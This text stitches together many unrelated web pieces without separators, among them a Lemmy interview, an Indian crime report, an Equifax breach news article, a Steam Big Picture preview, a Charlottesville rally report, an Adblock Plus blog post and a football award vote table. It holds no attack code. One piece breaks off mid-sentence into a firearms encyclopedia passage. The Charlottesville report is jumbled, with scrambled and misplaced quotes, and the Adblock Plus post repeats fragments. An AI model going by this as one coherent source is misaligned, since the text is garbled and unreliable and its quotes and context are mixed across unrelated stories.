The rocker told Classic Rock he didn't expect to still be here at 30,
"I don't do regrets," he said. "Regrets are pointless. It's too late for regrets. You've already done it, haven't you? You've lived your life. No point wishing you could change it.
"There are a couple of things I might have done differently, but nothing major; nothing that would have made that much of a difference.
"I'm pretty happy with the way things have turned out. I like to think I've brought a lot of joy to a lot of people all over the world. I'm true to myself and I'm straight with people."
Asked if his illness in 2013 has made him more aware of his own mortality, Lemmy said: "Death is an inevitability, isn't it? You become more aware of that when you get to my age. I don't worry about it. I'm ready for it. When I go, I want to go doing what I do best. If I died tomorrow, I couldn't complain. It's been good."In a shocking incident, a 20-year-old youth was buried alive allegedly by the family of his lover before his friends and family members rescued him on Wednesday. The incident happened in Uttar Pradesh's Saharanpur district.The victim's family members told the police that while half of his body was buried beneath the earth, the upper part was completely covered with cow dung.Hailing from Bihar, Mohammad Shahjad has been residing in Alampur area of Saharanpur since his childhood.Shahjad's local guardian Zaj Hassan told the villagers on November 27 that Shahjad had been missing since November 26 and feared that the family members of the girl, with whom he had developed a relationship, would have abducted and killed him. He alleged that Shahjad had been buried beneath mud and cow dung for around 12 hours."Some villagers informed me on Wednesday that Shahjad was seen going to the girl's house on Tuesday. But they didn't see him coming out. When I went to the girl's house along with neighbours and requested to release Shahjad, they opened fire at us. Mohammad Farooq, a villager, sustained bullet injuries in the incident. So, we called the police," he said."The police entered the house and found Shahjad in an unconscious state. He was covered in dust and cow dung when he was brought out of the house," he said. The police arrested the girl's two brothers."Shahjad has alleged that he was buried under the earth. There were injury marks on his body when we found him. He was initially admitted to the Community Health Centre in Alampur, but was later shifted to the district civil hospital," said Ratan Pal who is investigating the case. Doctors said Shahjad has suffering from severe infections."It appears that he was thrown into an extremely unhygienic place. He is traumatised and in a critical condition," a doctor said.Today the Football Supporters’ Federation led the “Share TV Wealth” demonstration at the Premier League’s shareholder meeting, demanding cheaper tickets, more money for grassroots football and a more equitable distribution of money throughout the pyramid.
Following that meeting, the Premier League has announced increased funding for grassroots facilities, solidarity payments to lower leagues, sporting and educational initiatives, and support of disadvantaged groups. Significantly, there is also a new commitment to funding work in relation to the matchday experience and fan engagement.
The total spending in these five areas represents £1bn of the £5.14bn TV deal.
The announcement of these increased funding streams is a welcome one and we are particularly pleased with the new funds aimed at match-going supporters.
We look forward to continued dialogue between fans, clubs and the Premier League as to how this money is spent. Supporters must be at the heart of the decision making process; every club’s fan base has different needs, and addressing these requires proper dialogue.
Additionally, we welcome the news that the Premier League is to become a Living Wage employer and that its clubs will be required to do likewise.
The living wage makes a real difference to people’s lives and, earlier this year, we became the first national football organisation to become an accredited Living Wage employer. It’s something we are very proud of.
We’d like to thank everyone who came to today’s “Share TV Wealth” demo. Activism isn’t always easy, and those fans in attendance had to make sacrifices, use annual leave, and even travel across the country to make today’s event. Their hard work has kept fans’ interests in the spotlight and maintained pressure on both the Premier League and clubs.
This hasn’t fixed every last issue that fans have, but it does illustrates a positive attitude of engagement from those who hold the purse strings in English football. As supporters we have to keep our foot to the floor to deliver real benefits for football fans at every level of the game.Individual elected Republicans have stood up in support of the wind energy production tax credit, even if it means cozying up to folks like the Sierra Club and Natural Resources Defense Council. But now wind-friendly Republicans have a wind-backing group they might feel more at home with: the new Red State Renewable Alliance.
The group, launched this week, is headed up by John Feehery, a Washington, D.C.-based Republican consultant, strategist and pundit (you know how that works in the capitol) who has had stints as the communications man for former House Speaker Dennis Hastert and former Majority Leader Tom DeLay on his resume.
Image via Red State Renewable Alliance
“Studies show that the wind energy production tax credit pays for itself, cuts utility costs for consumers, and we all know that it is a clean energy resource,” Feehery said in a statement. ”We at the Red State Renewable Alliance will tell the story of wind energy and the wind PTC in new and innovative ways, and we will convert the doubters out there.”
The group notes that 75 percent of U.S. wind capacity is in Congressional districts held by Republicans; that 67 percent of wind manufacturing plants are in GOP districts; and that 71 percent of districts held by Republicans have either wind turbines or component manufacturing facilities.
Red State Renewable Alliance comes on the scene at a time of considerable soul-searching among Republicans about the degree to which the party seems fundamentally at odds with a changing electorate. As the party struggles to become less repellent to women and various minorities, might it also temper the anti-renewables stance that gripped it like a fever through much of President Obama’s first term?
It might not be a bad idea. A new survey shows that independent voters -- and even Republicans -- might be opening their eyes to the climate-change threat. Pollster John Zogby just reported that “half of Republicans, 73 percent of independents and 82 percent of Democrats” are worried about the growing cost and risks of extreme weather disasters fueled by climate change, a big shift from a poll three years ago that “showed two-thirds of Republicans and nearly half of political independents saying they were ‘not at all concerned’ about global climate change and global warming.” And renewable energy isn’t looking too bad to these folks, Zogby said:
Asked to pick the highest priority to help solve America’s energy challenges, twice as many voters select renewable energy like wind and solar power (38 percent) than any other choice. Independents favor wind and solar over fossil fuels by a 4-to-1 margin -- 48 percent pick renewable energy while just 12 percent select the Keystone XL tar sands pipeline and only 11 percent prioritize more oil and gas drilling on America’s public lands.
Savvy politicians seem to be picking up on this: This week, Republican governors Terry Branstad of Iowa and Sam Brownback of Kansas, along with Sen. Charles Grassley (R-Iowa), joined with Democratic governors John Kitzhaber of Oregon and John Hickenlooper of Colorado to push for the wind production tax credit to be renewed beyond Dec. 31.
***
Editor's note: This article is reposted in its original form from EarthTechling. Author credit goes to Pete Danko.Recent Examples on the Web: Adjective
The Harry Potter films aren’t Christmas movies per se, but between the Yule Ball, scenes of Hogsmead in the snow, and month-long marathons on TV every December, the beloved series has become undeniably linked with the holiday season. Caroline Hallemann, Town & Country, "London’s Harry Potter Studio Tour Is Even More Magical in the Snow," 25 Dec. 2018
Second thing, accusing someone of gang rape is slander, per se. Fox News, "Kavanaugh denies assault allegations in Fox News interview," 25 Sep. 2018
While this is not a kids' restaurant per se, the kitchen did a wonderful job accommodating a youngster with us on one visit, allowing for a half-portion of a scrumptious Bolognese dish. Marc Bona, cleveland.com, "Luca West owners bring exceptional Italian dining experience to second restaurant (review)," 15 Feb. 2018
Though Midge isn't modeled after Mabley per se, her importance in comedic history can't be ignored—both for breaking boundaries as an African American and out lesbian in the 1920s, and for her influence on later comedians. Chloe Foussianes, Town & Country, "The Marvelous Mrs. Maisel," 16 Dec. 2018
There’s nothing wrong with old people per se, but essentially everyone has lost a step or two both mentally and physically by their mid-70s. Matthew Yglesias, Vox, "It’s ridiculous that it’s unconstitutional for Alexandria Ocasio-Cortez to run for president," 12 Dec. 2018
And King wasn’t a politician per se, meaning elected official or candidate, but he was engaged in politics. Jonathan Chait, Daily Intelligencer, "DI Politics Chat: What Do We Forget About MLK?," 4 Apr. 2018
What is happening in Bloomington is less obvious because the pros don’t represent Indiana, per se, but affiliate with clubs paying them stipends. David Woods, Indianapolis Star, "Is Indiana swimming back? Underdogs putting world on notice," 25 Mar. 2018
The broad commodity selloff this year should certainly worry investors, but not because of China per se. Nathaniel Taplin, WSJ, "Commodity Woes Run Deeper Than China," 28 Nov. 2018
These example sentences are selected automatically from various online news sources to reflect current usage of the word 'perse.' Views expressed in the examples do not represent the opinion of Merriam-Webster or its editors. Send us feedback.The life of a Japanese salaryman or OL (office lady) can be a thoroughly depressing one. Waking up early, working all day, staying out late for (mandatory) drinks with clients and coworkers, and then catching a few hours of sleep if you’re lucky, only to repeat it again and again and again until you finally hit retirement age.
Japanese Twitter user @black9arrows managed to capture this lifestyle perfectly in comic form. While many of the comics are funny, most of them are so dead-on you’ll cry right along with the poor OL protagonist.
Here’s the compilation of all of @black9arrows‘s “Single OL” comics, in the order that they were posted on the Twitter account:
▼ No sugar-coating here, we start off right with a teary-eyed bang:
“A single OL who’s just had it with everything.”
▼ “A single OL wishing she could charge her own batteries as easily as her smartphone’s.”
▼ “A single OL enjoying some sushi on a Sunday afternoon.”
▼ “A single OL trying to put off Monday just a little bit longer.”
▼ “A single OL trying to gain a few more seconds of weekend by posting something to Twitter before bed.”
▼ “A single OL coming back from work with a tub of Häagen-Dazs.”
▼ “A single OL changing her calendar, counting down the days to nothing.”
▼ “A single OL who just wants it all to be a lie, some kind of mistake.”
▼ “A single OL trying to keep the weekend around a bit |
cartridge is fired, the operator must manually re-cock the firearm and load another cartridge. The classic single-barreled shotgun is a good example. A firearm that can load multiple cartridges as the firearm is re-cocked is considered a "repeating firearm" or simply a "repeater". A lever-action rifle, a pump-action shotgun, and most bolt-action rifles are good examples of repeating firearms. A firearm that automatically re-cocks and reloads the next round with each trigger pull is considered a semi-automatic or autoloading firearm.
The first "rapid firing" firearms were usually similar to the 19th century Gatling gun, which would fire cartridges from a magazine as fast as and as long as the operator turned a crank. Eventually, the "rapid" firing mechanism was perfected and miniaturized to the extent that either the recoil of the firearm or the gas pressure from firing could be used to operate it, thus the operator needed only to pull a trigger (which made the firing mechanisms truly "automatic"). An automatic (or "fully automatic") firearm is one that automatically re-cocks, reloads, and fires as long as the trigger is depressed. An automatic firearm is capable of firing multiple rounds with one pull of the trigger. The Gatling gun may have been the first automatic weapon, though the modern trigger-actuated machine gun was not widely introduced until the First World War with the German "Spandau" and British Lewis Gun. Automatic rifles such as the Browning Automatic Rifle were in common use by the military during the early part of the 20th century, and automatic rifles that fired handgun rounds, known as submachine guns, also appeared in this time. Many modern military firearms have a selective fire option, which is a mechanical switch that allows the firearm be fired either in the semi-automatic or fully automatic mode. In the current M16A2 and M16A4 variants of the U.S.-made M16, continuous fully automatic fire is not possible, having been replaced by an automatic burst of three cartridges (this conserves ammunition and increases controllability). Automatic weapons are largely restricted to military and paramilitary organizations, though many automatic designs are infamous for their use by civilians.
See also [ edit ]
References [ edit ]
SourcesThe Equifax data breach is not the largest on record but could be the most damaging because of the sensitive nature of the information held by the credit reporting agency
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Washington (AFP)
It could be the worst-ever data breach for American consumers, exposing some of the most sensitive data for a vast number of US households.
The hack disclosed this week at Equifax, one of the three major credit bureaus which collect consumer financial data, potentially affects 143 million US customers, or more than half the adult population.
While not the largest breach -- Yahoo attacks leaked data on as many as one billion accounts -- the Equifax incident could be the most damaging because of the nature of data collected: bank and social security numbers and other personal information of value to hackers and others.
"This is the data that every hacker wants to steal your identity and compromise your accounts," said Darren Hayes, a Pace University professor specializing in digital forensics and cybersecurity.
"It's not like the Yahoo breach where you could reset your password. Your information is gone. There's nothing to reset."
Some reports suggested Equifax data was being sold on "dark web" marketplaces, but analysts said it was too soon to know who was behind the attack and the motivation.
"This could be a mercenary group or it could be a nation-state compiling it with other data" for espionage purposes, said James Scott, a senior fellow at the Institute for Critical Infrastructure Technology, a Washington think tank.
"This is the kind of information I would go after if I were a nation-state, to set up psychographic targeting for information and political warfare."
- National security risks -
Peter Levin, chief executive at the data security firm Amida Technology Solutions and a former federal cybersecurity official, said he is concerned over the national security impact of the breach, which follows a leak of data on millions of US government employees disclosed in 2015.
"The implications with regard to national security are very large," he said.
Because most federal employees also have credit reports, "those people have now been hacked twice," Levin said, offering potential adversaries fresh data to be used against them.
"We've just given the bad guys a lot more information," he said. "Even if they didn't perpetrate the attack, they can buy the data."
The breach raised numerous questions among experts, such as why the company waited more than a month to notify consumers after learning of the attacks July 29.
"The delay is really alarming," Hayes said. "It only takes a few days" to steal information which can damage a consumer's financial situation.
Equifax collects information about some 800 million people and businesses around the world and provides credit ratings used for decisions regarding loans and other financial matters, and also touts a service protecting against identity theft.
At least two class-action lawsuits on behalf of consumers were filed following the disclosure claiming Equifax failed to adequately protect important data.
"Equifax contains one of the largest databases of consumer information and they should have been better prepared for any attempt to penetrate its systems," said attorney John Yanchunis, who filed one of the lawsuits.
Some details of the attack remain unclear, including whether the data stolen was encrypted -- which would make it harder for the hackers to monetize.
A handful of investor lawsuits announced Friday, meanwhile, said Equifax may have violated securities laws, by allowing three high-ranking Equifax executives to sell shares worth almost $1.8 million in the days after the hack was discovered.
An Equifax spokesperson told AFP the executives "had no knowledge that an intrusion had occurred at the time they sold their shares."
Equifax stock fell 12.7 percent in New York trades on Friday following the disclosure.
- How to respond-
The potential impact of the Equifax breach prompted some experts to suggest the government reissue social security numbers, which have always been issued for life.
"The government should consider changing social security numbers since there have been so many breaches," Hayes said.
Levin added that he "would be in favor of issuing new social security," even though "it?s a fraught political discussion."
Others said the US could follow a European rule set to take effect in 2018 requiring companies to notify consumers within 72 hours of a data breach.
"Companies will put more into cybersecurity if there are tough penalties associated with data breaches," Hayes said.
© 2017 AFPToday, Valve will launch the beta of Big Picture mode, a version of Steam designed for your television. That's right. The de facto central hub of PC gaming is now designed to run while you're lounging in your living room—and with a controller, no less. I've tried out Big Picture. It's sleek, intuitive, and groundbreaking in several ways.
No, this new "Steam TV" isn't going to make our video game consoles go away. It's not going to turn your Xbox into a doorstop or obviate your PS3. But Big Picture could be a crucial first step toward making PC gaming more accessible, more convenient, and more suited for living rooms than ever before.
Here are the basics: this afternoon, when Big Picture goes live, you'll be able to push a button and turn Steam into an entirely new interface. It sort of looks like the dashboard on an Xbox 360, minus the advertisements and other clutter that can make that system so irritating to navigate. And it allows you to do almost everything you can do on vanilla Steam: you can buy games, browse the web, and even chat with your friends using the platform's standard in-game overlay.
The fonts, icons, and menus are all large enough to be comfortably viewed on a big-screen television, and the prompts are designed for a game controller. You can use Big Picture on your normal monitor with a mouse and keyboard, but that would defeat the purpose: this is an interface designed for your living room. Because the living room, Valve says, is where most people prefer playing video games.
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And maybe, just maybe, if fans seem to want it, and if it makes financial sense, the people who make Half-Life will use Big Picture to create their own version of a video game console.
Steam Box 720
Valve isn't happy with today's gaming consoles. They made that quite clear to me as we sat in one of the back rooms of their Seattle office in late August, looking at Big Picture mode in action.
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See, the Xbox 360 and PlayStation 3 are walled gardens. You can't open them up or modify their insides. Developers can't release new updates or patches to their games without going through a restrictive, bureaucractic certification process. Nothing about these systems is open at all, and Valve doesn't like that.
A Kotaku mock-up of what Steam's Big Picture could look like running on your television.
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Still, consoles have some advantages over computers. They're cheaper. More accessible. And you can play them on your sofa, feet propped up, a comfy controller in your hands. It's not so easy to do that with a computer.
At least not yet.
"We're confident in some things that customers want," Valve's Greg Coomer, head of the small team that designed and developed Big Picture mode, told me in his office. "They want a full-screen experience. They want to be in the living room. They want to use a game controller. They wanna have a social gaming experience. And we have this platform that lets us ship a significant portion of that experience."
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Valve: "If it's getting involved in shipping some kind of hardware, then we will get involved in doing that if we need to."
While Big Picture won't "connect all the dots," Coomer said, it will make it easier for gamers to play Valve's games—and the vast array of games that Valve supports on Steam—in the comfort of their living rooms.
I asked the obvious question: is this the first step toward Valve making a console of their own? Maybe the Steam Box that has been rumored (and repeatedly shot down) for months now?
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"What we really want is to ship [Big Picture mode] and then learn," Coomer said. "So we want to find out what people value about that. How they make use of it. When they make use of it. Whether it's even a good idea for the broadest set of customers or not. And then decide what to do next.
"So it could be that the thing that really makes sense is to build the box that you're describing. But we really don't have a road map. And we think we're going to learn a tremendous amount through this first release."
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Seen at Valve HQ: Printed prototypes of Steam's Big Picture mode, including a Kotaku shout-out (complete with fake article text).
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No plans. But Steam's Big Picture mode is step #1 of an open-ended gameplan that could eventually lead to the company building—or stamping their name on—some sort of gaming console in the future.
What Valve really wants to know is what their users do with this new feature. Will people lug bulky computer towers back and forth between their desks and their living rooms? Will they use their televisions as second monitors? Will they buy dedicated gaming computers to sit next to the TV and run nothing but Steam? (You can toggle a setting that boots up Steam Big Picture as soon as you turn on your PC, effectively turning it into a Steam console.)
Or will fans ignore Big Picture entirely?
"Each individual gamer is going to have to decide in the short term whether the value that Big Picture brings is something they want to configure for themselves," Coomer said. "And for some users it's going to be quite easy. For some users it might not be worth it yet. But that's one of the things we're going to find out when we ship. And then over time, I think we're going to figure out which of those scenarios, or what ways do customers really want us to get involved in solving the rest of the problems that, say, our software can't solve for them.
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"And if it's getting involved in shipping some kind of hardware, then we will get involved in doing that if we need to."
Lots of hypothetical possibilities there. Valve could team up with some third-party manufacturer and start selling a Steam-branded bundle, for example, that ships with a controller and an affordable mid-tier computer that runs Big Picture right out of the box. Or maybe Valve could work with an open-source hardware platform like the recently-funded Ouya. (In case you're wondering: No, Coomer says they haven't had any conversations with the folks who make Ouya.)
What matters more is that Big Picture works as promised. And from what I've tried out so far, I don't think fans will be disappointed.
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A Virtual Keyboard That Doesn't Suck
In some ways, Big Picture is just like an Xbox 360's dashboard. In others, it's not. And the system's biggest feature is one that I imagine will be copied quite a bit over the next few years: a total redesign of the virtual keyboard.
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On most consoles, you're stuck with a QWERTY keyboard that you have to painstakingly
manipulate by dragging a cursor around the screen and selecting one letter or number at a time.
Steam Big Picture's keyboard looks more like a lotus flower (and you can see it in action right below this paragraph). In order to select keys, you move your left thumbstick in one of eight standard directions, then pick one of the buttons on the right side of your controller. When I looked at the mode, we were using a standard Xbox 360 controller, and each of the four colored buttons represented a different letter. So to press M, N, O, or P, for example, you just tilt the joystick diagonally right-down and hit the corresponding button.
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Already this gives you instant access to every character in a way that a virtual QWERTY keyboard can't. And the cool thing about this lotus is that it's not awful. In fact, it's actually kind of great. It's intuitive and quick. Seconds after picking up the controller and playing around with the interface, I was writing sentences at a solid, if not perfect pace. It can't quite match a physical keyboard, but it's better than any other virtual typing I've ever tried. A Valve team member proudly noted that when people have tested it out, "they're almost instantly faster than [when using] QWERTY."
TWO SCREENS? Nintendo has their Wii U, Microsoft has Smart Glass, and Sony has Vita-PS3 cross-compatibility. I asked Valve's Greg Coomer if they, like all of those other big companies, feel like the future of gaming could lie in dual-screen play. "We are really interested in it but it hasn't been any of the focus in our work," he said. "Having a secondary experience driving the primary experience, augmenting it with stuff that's social but ancillary—all those things are great, it's just not at the front of our priority list right now."
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(When I ask the Valve staff sitting with me how the hell nobody has implemented something like this first, they have no answer. "We're surprised nobody has," one said.)
Navigating the interface is also rather easy. You can use a controller's trigger buttons to zoom around your game library, shop for new games (and take advantage of Steam's frequent discounts and sales), and interact with your Steam friends.
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Fittingly, Big Picture's store will also highlight some of the games that are most suitable for your controller. You can even browse the internet, a function included, but not often used in today's gaming consoles. Coomer notes that the staff tried particularly hard to make a web browser that could actually be navigable with a controller, and they seem to have succeeded, although it's still not quite as pleasant as using a mouse.
Like on normal Steam, you can even multi-task within Big Picture, switching back and forth between a game and your browser without minimizing to the desktop at all.
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Future plans for Big Picture mode include auto-correct, context awareness—"When you're in a web browser, it should know that you might want to put 'dot com' at the end of your address," Coomer said—and, in the distant future, some way to support cooperative split-screen mode, so multiple people can sit down in the same living room and simultaneously use their individual Steam accounts.
As for hardware? Some sort of game-changing, earth-shattering, open-source Steam Box that combines the power and flexibility of a computer with the affordability and accessibility of a console?
Let's not hold our breath. Valve still hasn't stopped running on Valve Time. But if Big Picture is the first step, it's a significant one. And after seeing Steam's TV mode in action, I'm tempted to go out and get a new desktop PC solely for my living room, just to play cheap, high-quality Steam games, to hook up and use alongside my Wii, Xbox, and PlayStation.
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Five years from now, though? Maybe Steam will be the only console we need.
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AdvertisementThis speaks in part to the successful efforts on the alt-right to motivate communal action, but it also shows a larger willingness among white supremacists to espouse their views in broad daylight.
Alt-right leader Richard Spencer and former Ku Klux Klan member David Duke attended the demonstrations.
Critics say both Charlottesville Police and Virginia State Police stood on the sidelines Saturday as skirmishes erupted between white nationalists and members of Antifa, a broad movement of left-leaning groups.
"Finally, I commend our Virginia State Police and National Guard personnel, who worked in support of the City of Charlottesville, for their tireless work this weekend under very challenging and volatile circumstances".
Heather Heyer, a 32-year-old paralegal, was killed after a young man rammed a auto into a crowd of counterprotesters.
"She said, 'Heather died doing what she loved - standing up for people,'" said Correa, who by early Sunday afternoon had raised about $125,000 for Heyer's family through an online fundraising drive.
He said he did not instruct his officers to let the people fight and to not make arrests.
Thomas said the police department originally planned to keep the rally peaceful but as the crowd grew, it became more hard to monitor the situation. Virginia Senator Mark R Warner said Virginians mourn the life taken in this morning's events and reject this hateful violence in Charlottesville.
Sen. Todd Young, an Indiana Republican, tweeted, "This is simple: we must condemn and marginalize white supremacist groups, not encourage and embolden them". Things would not have escalated to the point they did if police were able to keep them apart.
Protesters decrying hatred and racism converged around America on Sunday, saying they felt compelled to counteract the white supremacist rally that spiraled into deadly violence in Virginia.
On the other side, anti-fascist demonstrators also gathered in Charlottesville, but they generally aren't organized like white nationalist factions, said Heidi Beirich of the Southern Poverty Law Center.
David Straughn, another counterprotester, claims he was near Heyer when she was hit by the vehicle.
There also were "roving patrols" of officers throughout the park and downtown area, Geller said.
Once the vehicle plowed into the crowd, the police stepped in, Straughn said.
"I think there's this disengagement theory that's been pushed forward", he said. The tragic event shows that we can't dismiss these racists as sad, small men. "Maybe she would still be alive".
Fuchs said UF is dedicated to free speech and public discourse, but the First Amendment does not require risk of imminent violence to students.
The city had wanted the event moved to McIntire Park, which they said would have enhanced security. The city has established a tipline and people can report incidents by emailing cvillerally@charlottesville.org or calling 970-3280.
Downtown Charlottesville was nearly deserted by late afternoon - aside from a heavy security presence - but the city council authorized the police chief to impose a curfew, if necessary.
"We were hoping for a peaceful event", said Thomas. "However, we can't control which side someone enters the park". Asked how the driver was able to got through, he replied: "I'm not sure".
Chanting, "Blood and soil" and "You will not replace us", the group rallied around a statue of Thomas Jefferson before they clashed with counterprotesters, CNN affiliate WWBT reported. "I am heartbroken that a life has been lost here".
"Not one single shot was sacked, with all these people with weapons". So now, we can't avoid them.
McAuliffe largely placed blame for the violence at the feet of white nationalists. "We had the single largest assembly of law enforcement officers since 9/11, nearly 1,000 law enforcement personnel", he added.
"I am certain Americans everywhere join in deploring the brutality with which a number of Negro citizens of Alabama were treated when they sought to dramatize their deep and honest interest in attaining the precious right to vote".
He added that it's the government's responsibility to "set the conditions to prepare so people can peaceably assemble".
"Police obviously didn't do their job", says John Whitehead, founder of the Rutherford Institute, which joined the ACLU of Virginia in representing Kessler in his suit against the city for its change of venue.Apology to Adblock Plus users - and call for participation · 2009-08-02 23:31 by Wladimir Palant
Note: I do not usually syndicate blog posts about Adblock Plus to Planet Mozilla. I chose to make an exception for this one to reach more Adblock Plus users.
Another note: This post grew quite long. If you are only interested in what you can do to help the Adblock Plus project, feel free to skip to the last section.
I messed up, really sorry about that. Some people already noticed that Adblock Plus 1.1 release didn’t have the quality you would usually expect. Right now, it looks like there are something like three distinct regressions of which I can only reproduce one so far. And what is worse, I went on vacation only a few days after the release and didn’t have a chance to properly investigate these issues — even less to fix those. So users who are affected and can no longer use Adblock Plus can only revert to Adblock Plus 1.0.2 for now.
What happened
People who have been with the project since the beginning will know that this is not the first time I do release and run. Back then I was a frequently flying between Norway and Germany and would occasionally push out a release just before leaving. This went without any real issues, most of the time I was releasing local and rather well-tested changes.
Not so this time. On the one hand, the user base has grown a lot — and with it the requirements on the quality of the releases. I get bug reports for pretty obscure configurations these days. On the other hand, Adblock Plus 1.1 changed some core functionality in a very significant way. This was to improve memory use and performance while cleaning up some old code at the same time — but the changes were pretty complex.
This would usually not be a problem, after all we have several hundred users installing Adblock Plus development builds to help catch issues early. But this time I had to do some late changes to fix issues they discovered — and still rushed out the release despite some concerns because otherwise it would come out significantly later. I also had the impression that there was less feedback on the development builds than usually, probably due to summer vacations. All regressions only happen for some users while not for others which made sure that they weren’t caught before the release.
What is being done now
I am back from my vacation. The bad news still: I cannot start working on these regressions right now. Between my other responsibilities there is very little time left for Adblock Plus and I am still going through my mail some of which contains the info I need to reproduce the issues. I hope that the forum has some useful info as well but I didn’t get to it yet and most likely won’t be able to look at all threads (please send me a mail if you think that something there needs my attention). I should have more time starting Tuesday next week, if everything goes well Adblock Plus 1.1.1 will be released around 10th of August.
How to prevent such issues in future
More development build usage
One measure that will hopefully help catch more issues before release was already implemented shortly before Adblock Plus 1.1 release. Previously I would upload development builds manually whenever major changes are made. Now the builds are created automatically each day if changes are found in the source code repository. And you will get update notifications for development builds, with all changes to the previous development build listed (make sure to click “Show Information” button):
I hope this will make sure that more people are running the latest Adblock Plus development build and I will continue to announce major changes in the corresponding section of the blog. I already see around 400 active daily users for development builds, tendency increasing. If you are one of them, don’t hesitate to report any abnormalities you notice. This is easiest in the forum (you can just hit “post reply” button, registration not required).
Respecting quality concerns
Of course you don’t do significant changes shortly before a release — this is something I should have known better. So in future I should accept the fact that the pace of Adblock Plus development is rather moderate, that’s all that is possible with the time available. Saving on the quality is not the solution. If significant changes are necessary this should be more than reason enough to push back a release, as it has been in this project in the past.
The other fact that I need to accept is that I can no longer deal with any issues after a release in just three days. For future releases I should make sure that I have enough time to investigate any issues reported, create a fix if necessary, get it tested by the community and release a new version. Two weeks should be more realistic for that.
Distributing tasks and responsibilities
The issue that is harder to fix is that I’m hitting my limits with the maintenance of this project. Time has been a big issue lately and while getting more time to work on Adblock Plus is probably an option (I have an idea that I will probably blog about later), it is better to make sure that we don’t have everything depending on a single person. I’ll list the various tasks around Adblock Plus and I hope that some people will feel the urge to help with some of those (contact me then):
Coding. This is no longer the most time-consuming part of the project but I am happily accepting contributions. So far, the only significant code contribution came from Nickolay Ponomarev and I would definitely like to see more. Read the documentation, get the source code and send me your patches. For more complicated changes better check with me first, otherwise you might spend too much time on a suboptimal solution which will need to be reworked.
Note: Much of the source code has JSD oc comments. In future I would like to have source code documentation generated from those automatically when development builds are created.
Note: Much of the source code has oc comments. In future I would like to have source code documentation generated from those automatically when development builds are created. Documentation. As I indicated in the forum, I would like to move the documentation into a wiki. The idea is to both simplify syncing of documentation across languages (something that I currently spend a fair amount of time on) as well as have more people work on it. There are several parts of the FAQ that need updating, reorganizing the documentation to put more stress on documents like Getting started wouldn’t be wrong either. Both are tasks I didn’t manage to get to in a while.
that need updating, reorganizing the documentation to put more stress on documents like Getting started wouldn’t be wrong either. Both are tasks I didn’t manage to get to in a while. Forum. This is one area where distribution of responsibilities works pretty well already, there is a fair number of people helping newbies and exchanging knowledge. One improvement would be creating some documentation for typical problems however. Another would be providing some guidance on how to help people reporting bugs — e.g. getting the relevant information from them, reproducing the bug, placing the blame correctly. In case of Adblock Plus the blame rarely goes to Adblock Plus itself. More often it is filter lists, the website, the browser, browser plug-ins, other extensions.
Forum moderation. This is mostly about fighting spam. While automatically generated spam is at zero, we have occasional spam posts created by humans (typically Chinese or Indian, some even advertise “data entry jobs”). At the moment, Adblock Plus Fan and IceDogg usually remove these in a timely fashion (thanks!) but having more people at it might help.
Bugzilla. I have been playing with the thought of closing Bugzilla for a while already. While it has some advantages to have it around, it seems to have more disadvantages for us. Now seems to be a good time to actually do it.
Email. I currently have a stock of around 350 unread emails (it was 200 before my vacation, slowly growing). Given that I advertise my email address everywhere this it not a surprise, rather the fact that in the end I get relatively few emails. But of course the users who took the time to write me deserve better. I am playing with the thought of forwarding some of the mail coming to trev@adblockplus.org to some other people who could take care of the easy questions then (which make up the bulk of it), would be nice to see some forum veterans volunteer. Only problem is that people don’t expect a mailing list behind this address, it would be nice to communicate this fact somehow.
Server. Now that the server is all set up it requires relatively little attention. There is a recurring task however: upgrading PHP applications installed (currently phpBB and Textpattern, in future a wiki as well). Given that I have custom patches applied to both (this is worse for phpBB that doesn’t support plug-ins) this task isn’t quite trivial and takes some time. So I would like to give away maintenance of the PHP applications — if I find a suitable volunteer. Please have understanding that I will only accept somebody with sufficient credibility here, this would give the person responsible significant power, despite restricted user accounts.
applications installed (currently phpBB and Textpattern, in future a wiki as well). Given that I have custom patches applied to both (this is worse for phpBB that doesn’t support plug-ins) this task isn’t quite trivial and takes some time. So I would like to give away maintenance of the applications — if I find a suitable volunteer. Please have understanding that I will only accept somebody with sufficient credibility here, this would give the person responsible significant power, despite restricted user accounts. Releases. Getting releases out of the door takes considerable time. My current release checklist has 23 bullet points — this is already an improvement, it used to be longer. Managing translations is the most time consuming part here, despite using Babelzilla. While I managed to automate some tasks there, there is still much communication with translators required (note that there are 50 of them). I don’t expect any volunteers for that task but I would like to be surprised.
Commenting is closed for this article.Our story begins as Vox Machina, the heroes of Emon, arrive at the cavernous underground city of Kraghammer. After wiping out a grave threat to Emon’s emperor, Sovereign Uriel Tal’Dorei III, the band of adventurers has been sent on a journey by Arcanist, Allura Vysoren to find Lady Kima of Vord, a Halfling Paladin of Bahamut, who was drawn to Kraghammer upon learning of a great evil resting beneath it. The party get their bearings in the sprawling, dwarven city, meet a few of its more colorful denizens, and learn that the dwarves have been dealing with unnatural creatures spilling out of the mines in recent months. The mine’s overseer, Nostoc Greyspine, barely finishes explaining their troubles, when a pack of goblins and ogres come spilling out of the mine’s entrance, pursued by something far worse.
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Art by Kit Buss (http://www.anemonetea.com/)2014 Buck Buchanan Award Voting 1st 2nd 3rd 4th 5th Total 1. Kyle Emanuel, North Dakota State 70 18 18 8 3 495 2. Don Cherry, Villanova 13 23 17 17 11 253 3. Zack Wagenmann, Montana 12 17 14 10 13 203 4. Quinn Backus, Coastal Carolina 9 18 10 12 11 182 5. Donald Payne, Stetson 11 12 11 14 13 177 6. Nick Dzubnar, Cal Poly 10 13 13 7 16 171 7. Jacob Hagen, Liberty 2 15 13 11 11 142 8. Javon Hargrave, South Carolina State 8 5 9 10 7 114 9. Connor Underwood, Indiana State 1 6 11 14 7 97 10. James Cowser, Southern Utah 2 7 8 8 15 93 11. Alec May, Georgetown 3 4 10 11 7 90 12. Davis Tull, Chattanooga 3 7 6 7 9 84 13. Xavier Williams, Northern Iowa 3 1 3 6 7 47 14. Jonathan Woodard, Central Arkansas 2 2 4 2 3 37 15. Caleb Schaffitzel, Missouri State 3 0 1 7 2 34 16. Tony Bell, UT Martin 2 3 2 1 3 33 17. Lynden Trail, Norfolk State 2 3 1 1 2 29 18. Zack Hodges, Harvard 1 1 1 4 2 22 19T. Jeff Covitz, Bryant 1 1 0 3 3 18 19T. Christian Ricard, Stony Brook 0 1 2 2 4 18 21. Ryan Delaire, Towson 1 0 2 2 1 16 22. Isiah Corbett, SE Louisiana 0 2 1 0 3 14 23. Jaquiski Tartt, Samford 0 1 1 2 2 13 24T. O.J. Mau, Gardner-Webb 1 0 1 0 1 9 24T. Colten Heagle, North Dakota State 0 0 1 1 4 9
